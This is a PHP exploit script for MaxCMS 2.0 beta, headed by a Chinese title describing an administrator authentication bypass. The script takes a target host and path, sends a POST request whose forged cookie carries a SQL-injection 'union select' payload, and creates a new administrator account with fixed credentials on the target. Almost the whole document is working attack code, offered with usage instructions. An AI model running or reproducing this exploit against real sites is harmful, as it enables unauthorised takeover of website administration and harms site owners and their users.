马克斯cms转php,马克斯CMS2.0beta (maxcms)管理员认证绕过漏洞

<?php

print_r('

+---------------------------------------------------------------------------+

maxcms2.0 creat new admin exploit

by Flyh4t

team:wolvez security team

site:bbs.wolvez.org

dork:salemax#qq.com

+---------------------------------------------------------------------------+

');

if ($argc < 3) {

print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' host path

host: target server (ip/hostname)

path: path to maxcms

Example:

php '.$argv[0].' localhost /maxcms2/

+---------------------------------------------------------------------------+

');

exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1];

$path = $argv[2];

$name = rand(1,10000);

$cmd = 'm_username=flyh4t'.$name.'&m_pwd=wolvez&m_pwd2=wolvez&m_level=0';

$resp = send($cmd);

if (!eregi('alert',$resp)) {echo"[~]bad luck,exploit failed";exit;}

print_r('

+---------------------------------------------------------------------------+

[+]cool,exploit seccuss

[+]you have add a new adminuser flyh4t'.$name.'/wolvez

+---------------------------------------------------------------------------+

');

function send($cmd)

{

global $host, $path;

$message = "POST ".$path."admin/admin_manager.asp?action=add HTTP/1.1\r\n";

$message .= "Accept: */*\r\n";

$message .= "Referer: http://$host$path\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: flyh4t\r\n";

$message .= "X-Forwarded-For:1.1.1.1\r\n";

$message .= "Host: $host\r\n";

$message .= "Content-Length: ".strlen($cmd)."\r\n";

$message .= "Cookie: m_username=flyh4t'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checkflyh4t'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin=7728a57dcd5ae1e69cf0aee02ba66de6\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $cmd;

echo $message;

$fp = fsockopen($host, 80);

fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

echo $resp;

return $resp;

}

?>